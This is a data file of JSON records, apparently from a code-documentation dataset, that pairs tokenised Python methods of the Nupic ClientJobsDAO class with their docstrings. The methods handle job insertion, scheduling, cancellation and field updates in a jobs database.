{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobInsert(self, client, cmdLine, clientInfo='<STR_LIT>', clientKey='<STR_LIT>', params='<STR_LIT>',<EOL>alreadyRunning=False, minimumWorkers=<NUM_LIT:0>, maximumWorkers=<NUM_LIT:0>,<EOL>jobType='<STR_LIT>', priority=DEFAULT_JOB_PRIORITY):<DEDENT>", "body": "jobHash = self._normalizeHash(uuid.uuid1().bytes)<EOL>@g_retrySQL<EOL>def insertWithRetries():<EOL><INDENT>with ConnectionFactory.get() as conn:<EOL><INDENT>return self._insertOrGetUniqueJobNoRetries(<EOL>conn, client=client, cmdLine=cmdLine, jobHash=jobHash,<EOL>clientInfo=clientInfo, clientKey=clientKey, params=params,<EOL>minimumWorkers=minimumWorkers, maximumWorkers=maximumWorkers,<EOL>jobType=jobType, priority=priority, alreadyRunning=alreadyRunning)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>jobID = insertWithRetries()<EOL><DEDENT>except:<EOL><INDENT>self._logger.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobType, client, _abbreviate(clientInfo, <NUM_LIT>), clientKey, jobHash,<EOL>cmdLine)<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobID, jobType, client, _abbreviate(clientInfo, <NUM_LIT>), clientKey,<EOL>jobHash, cmdLine)<EOL><DEDENT>return jobID<EOL>", "docstring": "Add an entry to the jobs table for a new job request. This is called by\n        clients that wish to startup a new job, like a Hypersearch, stream job, or\n        specific model evaluation from the engine.\n\n        This puts a new entry into the jobs table. The CJM is always periodically\n        sweeping the jobs table and when it finds a new job, will proceed to start it\n        up on Hadoop.\n\n        Parameters:\n        ----------------------------------------------------------------\n        client:          Name of the client submitting the job\n        cmdLine:         Command line to use to launch each worker process; must be\n                          a non-empty string\n        clientInfo:      JSON encoded dict of client specific information.\n        clientKey:       Foreign key.\n        params:          JSON encoded dict of the parameters for the job. This\n                          can be fetched out of the database by the worker processes\n                          based on the jobID.\n        alreadyRunning:  Used for unit test purposes only. This inserts the job\n                          in the running state. It is used when running a worker\n                          in standalone mode without hadoop - it gives it a job\n                          record to work with.\n        minimumWorkers:  minimum number of workers design at a time.\n        maximumWorkers:  maximum number of workers desired at a time.\n        jobType:         The type of job that this is. This should be one of the\n                          JOB_TYPE_XXXX enums. This is needed to allow a standard\n                          way of recognizing a job's function and capabilities.\n        priority:        Job scheduling priority; 0 is the default priority (\n                          ClientJobsDAO.DEFAULT_JOB_PRIORITY); positive values are\n                          higher priority (up to ClientJobsDAO.MAX_JOB_PRIORITY),\n                          and negative values are lower priority (down to\n                          ClientJobsDAO.MIN_JOB_PRIORITY). Higher-priority jobs will\n                          be scheduled to run at the expense of the lower-priority\n                          jobs, and higher-priority job tasks will preempt those\n                          with lower priority if there is inadequate supply of\n                          scheduling slots. Excess lower priority job tasks will\n                          starve as long as slot demand exceeds supply. Most jobs\n                          should be scheduled with DEFAULT_JOB_PRIORITY. System jobs\n                          that must run at all cost, such as Multi-Model-Master,\n                          should be scheduled with MAX_JOB_PRIORITY.\n\n        retval:          jobID - unique ID assigned to this job", "id": "f17555:c1:m21"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobInsertUnique(self, client, cmdLine, jobHash, clientInfo='<STR_LIT>',<EOL>clientKey='<STR_LIT>', params='<STR_LIT>', minimumWorkers=<NUM_LIT:0>,<EOL>maximumWorkers=<NUM_LIT:0>, jobType='<STR_LIT>',<EOL>priority=DEFAULT_JOB_PRIORITY):<DEDENT>", "body": "assert cmdLine, \"<STR_LIT>\" + repr(cmdLine)<EOL>@g_retrySQL<EOL>def insertUniqueWithRetries():<EOL><INDENT>jobHashValue = self._normalizeHash(jobHash)<EOL>jobID = None<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>row = self._getOneMatchingRowNoRetries(<EOL>self._jobs, conn, dict(client=client, job_hash=jobHashValue),<EOL>['<STR_LIT>', '<STR_LIT:status>'])<EOL>if row is not None:<EOL><INDENT>(jobID, status) = row<EOL>if status == self.STATUS_COMPLETED:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>sqlParams = (clientInfo, clientKey, cmdLine, params,<EOL>minimumWorkers, maximumWorkers, priority,<EOL>jobType, jobID, self.STATUS_COMPLETED)<EOL>numRowsUpdated = conn.cursor.execute(query, sqlParams)<EOL>assert numRowsUpdated <= <NUM_LIT:1>, repr(numRowsUpdated)<EOL>if numRowsUpdated == <NUM_LIT:0>:<EOL><INDENT>self._logger.info(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", jobID)<EOL><DEDENT>self._resumeJobNoRetries(conn, jobID, alreadyRunning=False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>jobID = self._insertOrGetUniqueJobNoRetries(<EOL>conn, client=client, cmdLine=cmdLine, jobHash=jobHashValue,<EOL>clientInfo=clientInfo, clientKey=clientKey, params=params,<EOL>minimumWorkers=minimumWorkers, maximumWorkers=maximumWorkers,<EOL>jobType=jobType, priority=priority, alreadyRunning=False)<EOL><DEDENT>return jobID<EOL><DEDENT><DEDENT>try:<EOL><INDENT>jobID = insertUniqueWithRetries()<EOL><DEDENT>except:<EOL><INDENT>self._logger.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobType, client, _abbreviate(clientInfo, <NUM_LIT>), clientKey, jobHash,<EOL>cmdLine)<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>self._logger.info(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobID, jobType, client, _abbreviate(clientInfo, <NUM_LIT>), clientKey,<EOL>jobHash, cmdLine)<EOL><DEDENT>return jobID<EOL>", "docstring": "Add an entry to the jobs table for a new job request, but only if the\n        same job, by the same client is not already running. If the job is already\n        running, or queued up to run, this call does nothing. If the job does not\n        exist in the jobs table or has completed, it will be inserted and/or started\n        up again.\n\n        This method is called by clients, like StreamMgr, that wish to only start up\n        a job if it hasn't already been started up.\n\n        Parameters:\n        ----------------------------------------------------------------\n        client:          Name of the client submitting the job\n        cmdLine:         Command line to use to launch each worker process; must be\n                          a non-empty string\n        jobHash:         unique hash of this job. The client must insure that this\n                          uniquely identifies this job request for the purposes\n                          of detecting duplicates.\n        clientInfo:      JSON encoded dict of client specific information.\n        clientKey:       Foreign key.\n        params:          JSON encoded dict of the parameters for the job. This\n                          can be fetched out of the database by the worker processes\n                          based on the jobID.\n        minimumWorkers:  minimum number of workers design at a time.\n        maximumWorkers:  maximum number of workers desired at a time.\n        jobType:         The type of job that this is. This should be one of the\n                          JOB_TYPE_XXXX enums. This is needed to allow a standard\n                          way of recognizing a job's function and capabilities.\n        priority:        Job scheduling priority; 0 is the default priority (\n                          ClientJobsDAO.DEFAULT_JOB_PRIORITY); positive values are\n                          higher priority (up to ClientJobsDAO.MAX_JOB_PRIORITY),\n                          and negative values are lower priority (down to\n                          ClientJobsDAO.MIN_JOB_PRIORITY). Higher-priority jobs will\n                          be scheduled to run at the expense of the lower-priority\n                          jobs, and higher-priority job tasks will preempt those\n                          with lower priority if there is inadequate supply of\n                          scheduling slots. Excess lower priority job tasks will\n                          starve as long as slot demand exceeds supply. Most jobs\n                          should be scheduled with DEFAULT_JOB_PRIORITY. System jobs\n                          that must run at all cost, such as Multi-Model-Master,\n                          should be scheduled with MAX_JOB_PRIORITY.\n\n        retval:          jobID of the newly inserted or existing job.", "id": "f17555:c1:m22"}
{"signature": "@g_retrySQL<EOL><INDENT>def _startJobWithRetries(self, jobID):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>sqlParams = [self.STATUS_RUNNING, self._connectionID,<EOL>jobID, self.STATUS_NOTSTARTED]<EOL>numRowsUpdated = conn.cursor.execute(query, sqlParams)<EOL>if numRowsUpdated != <NUM_LIT:1>:<EOL><INDENT>self._logger.warn('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', numRowsUpdated)<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Place the given job in STATUS_RUNNING mode; the job is expected to be\n        STATUS_NOTSTARTED.\n\n        NOTE: this function was factored out of jobStartNext because it's also\n         needed for testing (e.g., test_client_jobs_dao.py)", "id": "f17555:c1:m23"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobStartNext(self):<DEDENT>", "body": "<EOL>row = self._getOneMatchingRowWithRetries(<EOL>self._jobs, dict(status=self.STATUS_NOTSTARTED), ['<STR_LIT>'])<EOL>if row is None:<EOL><INDENT>return None<EOL><DEDENT>(jobID,) = row<EOL>self._startJobWithRetries(jobID)<EOL>return jobID<EOL>", "docstring": "For use only by Nupic Scheduler (also known as ClientJobManager) Look\n        through the jobs table and see if any new job requests have been\n        queued up. If so, pick one and mark it as starting up and create the\n        model table to hold the results\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:    jobID of the job we are starting up, if found; None if not found", "id": "f17555:c1:m24"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobReactivateRunningJobs(self):<DEDENT>", "body": "<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>conn.cursor.execute(query, [self._connectionID, self.STATUS_RUNNING])<EOL><DEDENT>return<EOL>", "docstring": "Look through the jobs table and reactivate all that are already in the\n        running state by setting their _eng_allocate_new_workers fields to True;\n        used by Nupic Scheduler as part of its failure-recovery procedure.", "id": "f17555:c1:m25"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobGetDemand(self,):<DEDENT>", "body": "rows = self._getMatchingRowsWithRetries(<EOL>self._jobs, dict(status=self.STATUS_RUNNING),<EOL>[self._jobs.pubToDBNameDict[f]<EOL>for f in self._jobs.jobDemandNamedTuple._fields])<EOL>return [self._jobs.jobDemandNamedTuple._make(r) for r in rows]<EOL>", "docstring": "Look through the jobs table and get the demand - minimum and maximum\n        number of workers requested, if new workers are to be allocated, if there\n        are any untended dead workers, for all running jobs.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:      list of ClientJobsDAO._jobs.jobDemandNamedTuple nametuples\n                      containing the demand - min and max workers,\n                      allocate_new_workers, untended_dead_workers, num_failed_workers\n                      for each running (STATUS_RUNNING) job. Empty list when there\n                      isn't any demand.", "id": "f17555:c1:m26"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobCancelAllRunningJobs(self):<DEDENT>", "body": "<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>'% (self.jobsTableName,)<EOL>conn.cursor.execute(query, [self.STATUS_COMPLETED])<EOL><DEDENT>return<EOL>", "docstring": "Set cancel field of all currently-running jobs to true.", "id": "f17555:c1:m27"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobCountCancellingJobs(self,):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>conn.cursor.execute(query, [self.STATUS_COMPLETED])<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>return rows[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>", "docstring": "Look through the jobs table and count the running jobs whose\n        cancel field is true.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:      A count of running jobs with the cancel field set to true.", "id": "f17555:c1:m28"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobGetCancellingJobs(self,):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>conn.cursor.execute(query, [self.STATUS_COMPLETED])<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>return tuple(r[<NUM_LIT:0>] for r in rows)<EOL>", "docstring": "Look through the jobs table and get the list of running jobs whose\n        cancel field is true.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:      A (possibly empty) sequence of running job IDs with cancel field\n                      set to true", "id": "f17555:c1:m29"}
{"signature": "@staticmethod<EOL><INDENT>@logExceptions(_LOGGER)<EOL>def partitionAtIntervals(data, intervals):<DEDENT>", "body": "assert sum(intervals) <= len(data)<EOL>start = <NUM_LIT:0><EOL>for interval in intervals:<EOL><INDENT>end = start + interval<EOL>yield data[start:end]<EOL>start = end<EOL><DEDENT>raise StopIteration<EOL>", "docstring": "Generator to allow iterating slices at dynamic intervals\n\n        Parameters:\n        ----------------------------------------------------------------\n        data:       Any data structure that supports slicing (i.e. list or tuple)\n        *intervals: Iterable of intervals.  The sum of intervals should be less\n                    than, or equal to the length of data.", "id": "f17555:c1:m30"}
{"signature": "@staticmethod<EOL><INDENT>@logExceptions(_LOGGER)<EOL>def _combineResults(result, *namedTuples):<DEDENT>", "body": "results = ClientJobsDAO.partitionAtIntervals(<EOL>result, [len(nt._fields) for nt in namedTuples])<EOL>return [nt._make(result) for nt, result in zip(namedTuples, results)]<EOL>", "docstring": "Return a list of namedtuples from the result of a join query.  A\n        single database result is partitioned at intervals corresponding to the\n        fields in namedTuples.  The return value is the result of applying\n        namedtuple._make() to each of the partitions, for each of the namedTuples.\n\n        Parameters:\n        ----------------------------------------------------------------\n        result:         Tuple representing a single result from a database query\n        *namedTuples:   List of named tuples.", "id": "f17555:c1:m31"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobInfoWithModels(self, jobID):<DEDENT>", "body": "<EOL>combinedResults = None<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT:U+0020>'.join([<EOL>'<STR_LIT>' % (self.jobsTableName, self.modelsTableName),<EOL>'<STR_LIT>' % self.jobsTableName,<EOL>'<STR_LIT>' % self.modelsTableName,<EOL>'<STR_LIT>'])<EOL>conn.cursor.execute(query, (jobID,))<EOL>if conn.cursor.rowcount > <NUM_LIT:0>:<EOL><INDENT>combinedResults = [<EOL>ClientJobsDAO._combineResults(<EOL>result, self._jobs.jobInfoNamedTuple,<EOL>self._models.modelInfoNamedTuple<EOL>) for result in conn.cursor.fetchall()]<EOL><DEDENT><DEDENT>if combinedResults is not None:<EOL><INDENT>return combinedResults<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\" % (jobID))<EOL>", "docstring": "Get all info about a job, with model details, if available.\n\n        Parameters:\n        ----------------------------------------------------------------\n        job:    jobID of the job to query\n        retval: A sequence of two-tuples if the jobID exists in the jobs\n                 table (exeption is raised if it doesn't exist). Each two-tuple\n                 contains an instance of jobInfoNamedTuple as the first element and\n                 an instance of modelInfoNamedTuple as the second element. NOTE: In\n                 the case where there are no matching model rows, a sequence of one\n                 two-tuple will still be returned, but the modelInfoNamedTuple\n                 fields will be None, and the jobInfoNamedTuple fields will be\n                 populated.", "id": "f17555:c1:m32"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobInfo(self, jobID):<DEDENT>", "body": "row = self._getOneMatchingRowWithRetries(<EOL>self._jobs, dict(job_id=jobID),<EOL>[self._jobs.pubToDBNameDict[n]<EOL>for n in self._jobs.jobInfoNamedTuple._fields])<EOL>if row is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (jobID))<EOL><DEDENT>return self._jobs.jobInfoNamedTuple._make(row)<EOL>", "docstring": "Get all info about a job\n\n        Parameters:\n        ----------------------------------------------------------------\n        job:    jobID of the job to query\n        retval:  namedtuple containing the job info.", "id": "f17555:c1:m33"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobSetStatus(self, jobID, status, useConnectionID=True,):<DEDENT>", "body": "<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>sqlParams = [status, jobID]<EOL>if useConnectionID:<EOL><INDENT>query += '<STR_LIT>'<EOL>sqlParams.append(self._connectionID)<EOL><DEDENT>result = conn.cursor.execute(query, sqlParams)<EOL>if result != <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>jobID, status))<EOL><DEDENT><DEDENT>", "docstring": "Change the status on the given job\n\n        Parameters:\n        ----------------------------------------------------------------\n        job:        jobID of the job to change status\n        status:     new status string (ClientJobsDAO.STATUS_xxxxx)\n\n        useConnectionID: True if the connection id of the calling function\n        must be the same as the connection that created the job. Set\n        to False for hypersearch workers", "id": "f17555:c1:m34"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobSetCompleted(self, jobID, completionReason, completionMsg,<EOL>useConnectionID = True):<DEDENT>", "body": "<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.jobsTableName,)<EOL>sqlParams = [self.STATUS_COMPLETED, completionReason, completionMsg,<EOL>jobID]<EOL>if useConnectionID:<EOL><INDENT>query += '<STR_LIT>'<EOL>sqlParams.append(self._connectionID)<EOL><DEDENT>result = conn.cursor.execute(query, sqlParams)<EOL>if result != <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (jobID))<EOL><DEDENT><DEDENT>", "docstring": "Change the status on the given job to completed\n\n        Parameters:\n        ----------------------------------------------------------------\n        job:                 jobID of the job to mark as completed\n        completionReason:    completionReason string\n        completionMsg:       completionMsg string\n\n        useConnectionID: True if the connection id of the calling function\n        must be the same as the connection that created the job. Set\n        to False for hypersearch workers", "id": "f17555:c1:m35"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobCancel(self, jobID):<DEDENT>", "body": "self._logger.info('<STR_LIT>', jobID)<EOL>self.jobSetFields(jobID, {\"<STR_LIT>\" : True}, useConnectionID=False)<EOL>", "docstring": "Cancel the given job. This will update the cancel field in the\n        jobs table and will result in the job being cancelled.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:                 jobID of the job to mark as completed\n\n        to False for hypersearch workers", "id": "f17555:c1:m36"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobGetModelIDs(self, jobID):<DEDENT>", "body": "rows = self._getMatchingRowsWithRetries(self._models, dict(job_id=jobID),<EOL>['<STR_LIT>'])<EOL>return [r[<NUM_LIT:0>] for r in rows]<EOL>", "docstring": "Fetch all the modelIDs that correspond to a given jobID; empty sequence\n        if none", "id": "f17555:c1:m37"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def getActiveJobCountForClientInfo(self, clientInfo):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>' %  self.jobsTableName<EOL>conn.cursor.execute(query, [clientInfo, self.STATUS_COMPLETED])<EOL>activeJobCount = conn.cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>return activeJobCount<EOL>", "docstring": "Return the number of jobs for the given clientInfo and a status that is\n        not completed.", "id": "f17555:c1:m38"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def getActiveJobCountForClientKey(self, clientKey):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>' %  self.jobsTableName<EOL>conn.cursor.execute(query, [clientKey, self.STATUS_COMPLETED])<EOL>activeJobCount = conn.cursor.fetchone()[<NUM_LIT:0>]<EOL><DEDENT>return activeJobCount<EOL>", "docstring": "Return the number of jobs for the given clientKey and a status that is\n        not completed.", "id": "f17555:c1:m39"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def getActiveJobsForClientInfo(self, clientInfo, fields=[]):<DEDENT>", "body": "<EOL>dbFields = [self._jobs.pubToDBNameDict[x] for x in fields]<EOL>dbFieldsStr = '<STR_LIT:U+002C>'.join(['<STR_LIT>'] + dbFields)<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>' % (dbFieldsStr, self.jobsTableName)<EOL>conn.cursor.execute(query, [clientInfo, self.STATUS_COMPLETED])<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>return rows<EOL>", "docstring": "Fetch jobIDs for jobs in the table with optional fields given a\n        specific clientInfo", "id": "f17555:c1:m40"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def getActiveJobsForClientKey(self, clientKey, fields=[]):<DEDENT>", "body": "<EOL>dbFields = [self._jobs.pubToDBNameDict[x] for x in fields]<EOL>dbFieldsStr = '<STR_LIT:U+002C>'.join(['<STR_LIT>'] + dbFields)<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>' % (dbFieldsStr, self.jobsTableName)<EOL>conn.cursor.execute(query, [clientKey, self.STATUS_COMPLETED])<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>return rows<EOL>", "docstring": "Fetch jobIDs for jobs in the table with optional fields given a\n        specific clientKey", "id": "f17555:c1:m41"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def getJobs(self, fields=[]):<DEDENT>", "body": "<EOL>dbFields = [self._jobs.pubToDBNameDict[x] for x in fields]<EOL>dbFieldsStr = '<STR_LIT:U+002C>'.join(['<STR_LIT>'] + dbFields)<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>' % (dbFieldsStr, self.jobsTableName)<EOL>conn.cursor.execute(query)<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>return rows<EOL>", "docstring": "Fetch jobIDs for jobs in the table with optional fields", "id": "f17555:c1:m42"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def getFieldsForActiveJobsOfType(self, jobType, fields=[]):<DEDENT>", "body": "dbFields = [self._jobs.pubToDBNameDict[x] for x in fields]<EOL>dbFieldsStr = '<STR_LIT:U+002C>'.join(['<STR_LIT>'] + dbFields)<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query ='<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>' % (dbFieldsStr, self.jobsTableName,<EOL>self.modelsTableName)<EOL>conn.cursor.execute(query, [self.STATUS_COMPLETED, jobType])<EOL>return conn.cursor.fetchall()<EOL><DEDENT>", "docstring": "Helper function for querying the models table including relevant job\n        info where the job type matches the specified jobType.  Only records for\n        which there is a matching jobId in both tables is returned, and only the\n        requested fields are returned in each result, assuming that there is not\n        a conflict.  This function is useful, for example, in querying a cluster\n        for a list of actively running production models (according to the state\n        of the client jobs database).  jobType must be one of the JOB_TYPE_XXXX\n        enumerations.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobType:   jobType enum\n        fields:    list of fields to return\n\n        Returns:    List of tuples containing the jobId and requested field values", "id": "f17555:c1:m43"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobGetFields(self, jobID, fields):<DEDENT>", "body": "<EOL>return self.jobsGetFields([jobID], fields, requireAll=True)[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>", "docstring": "Fetch the values of 1 or more fields from a job record. Here, 'fields'\n        is a list with the names of the fields to fetch. The names are the public\n        names of the fields (camelBack, not the lower_case_only form as stored in\n        the DB).\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:     jobID of the job record\n        fields:    list of fields to return\n\n        Returns:    A sequence of field values in the same order as the requested\n                     field list -> [field1, field2, ...]", "id": "f17555:c1:m44"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def jobsGetFields(self, jobIDs, fields, requireAll=True):<DEDENT>", "body": "assert isinstance(jobIDs, self._SEQUENCE_TYPES)<EOL>assert len(jobIDs) >=<NUM_LIT:1><EOL>rows = self._getMatchingRowsWithRetries(<EOL>self._jobs, dict(job_id=jobIDs),<EOL>['<STR_LIT>'] + [self._jobs.pubToDBNameDict[x] for x in fields])<EOL>if requireAll and len(rows) < len(jobIDs):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (<EOL>(set(jobIDs) - set(r[<NUM_LIT:0>] for r in rows)),))<EOL><DEDENT>return [(r[<NUM_LIT:0>], list(r[<NUM_LIT:1>:])) for r in rows]<EOL>", "docstring": "Fetch the values of 1 or more fields from a sequence of job records.\n        Here, 'fields' is a sequence (list or tuple) with the names of the fields to\n        fetch. The names are the public names of the fields (camelBack, not the\n        lower_case_only form as stored in the DB).\n\n        WARNING!!!: The order of the results are NOT necessarily in the same order as\n        the order of the job IDs passed in!!!\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobIDs:        A sequence of jobIDs\n        fields:        A list  of fields to return for each jobID\n\n        Returns:      A list of tuples->(jobID, [field1, field2,...])", "id": "f17555:c1:m45"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobSetFields(self, jobID, fields, useConnectionID=True,<EOL>ignoreUnchanged=False):<DEDENT>", "body": "<EOL>assignmentExpressions = '<STR_LIT:U+002C>'.join(<EOL>[\"<STR_LIT>\" % (self._jobs.pubToDBNameDict[f],) for f in fields.keys()])<EOL>assignmentValues = list(fields.values())<EOL>query = '<STR_LIT>''<STR_LIT>'% (self.jobsTableName, assignmentExpressions,)<EOL>sqlParams = assignmentValues + [jobID]<EOL>if useConnectionID:<EOL><INDENT>query += '<STR_LIT>'<EOL>sqlParams.append(self._connectionID)<EOL><DEDENT>with ConnectionFactory.get() as conn:<EOL><INDENT>result = conn.cursor.execute(query, sqlParams)<EOL><DEDENT>if result != <NUM_LIT:1> and not ignoreUnchanged:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"\"<STR_LIT>\" % (<EOL>assignmentExpressions, jobID, self._connectionID, result, query))<EOL><DEDENT>", "docstring": "Change the values of 1 or more fields in a job. Here, 'fields' is a\n        dict with the name/value pairs to change. The names are the public names of\n        the fields (camelBack, not the lower_case_only form as stored in the DB).\n        This method is for private use by the ClientJobManager only.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:     jobID of the job record\n\n        fields:    dictionary of fields to change\n\n        useConnectionID: True if the connection id of the calling function\n        must be the same as the connection that created the job. Set\n        to False for hypersearch workers\n\n        ignoreUnchanged: The default behavior is to throw a\n        RuntimeError if no rows are affected. This could either be\n        because:\n          1) Because there was not matching jobID\n          2) or if the data to update matched the data in the DB exactly.\n\n        Set this parameter to True if you expect case 2 and wish to\n        supress the error.", "id": "f17555:c1:m46"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobSetFieldIfEqual(self, jobID, fieldName, newValue, curValue):<DEDENT>", "body": "<EOL>dbFieldName = self._jobs.pubToDBNameDict[fieldName]<EOL>conditionValue = []<EOL>if isinstance(curValue, bool):<EOL><INDENT>conditionExpression = '<STR_LIT>' % (<EOL>dbFieldName, {True:'<STR_LIT>', False:'<STR_LIT>'}[curValue])<EOL><DEDENT>elif curValue is None:<EOL><INDENT>conditionExpression = '<STR_LIT>' % (dbFieldName,)<EOL><DEDENT>else:<EOL><INDENT>conditionExpression = '<STR_LIT>' % (dbFieldName,)<EOL>conditionValue.append(curValue)<EOL><DEDENT>query = '<STR_LIT>''<STR_LIT>'% (self.jobsTableName, dbFieldName, conditionExpression)<EOL>sqlParams = [newValue, jobID] + conditionValue<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>result = conn.cursor.execute(query, sqlParams)<EOL><DEDENT>return (result == <NUM_LIT:1>)<EOL>", "docstring": "Change the value of 1 field in a job to 'newValue', but only if the\n        current value matches 'curValue'. The 'fieldName' is the public name of\n        the field (camelBack, not the lower_case_only form as stored in the DB).\n\n        This method is used for example by HypersearcWorkers to update the\n        engWorkerState field periodically. By qualifying on curValue, it insures\n        that only 1 worker at a time is elected to perform the next scheduled\n        periodic sweep of the models.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:        jobID of the job record to modify\n        fieldName:    public field name of the field\n        newValue:     new value of the field to set\n        curValue:     current value to qualify against\n\n        retval:       True if we successfully modified the field\n                      False if curValue did not match", "id": "f17555:c1:m47"}
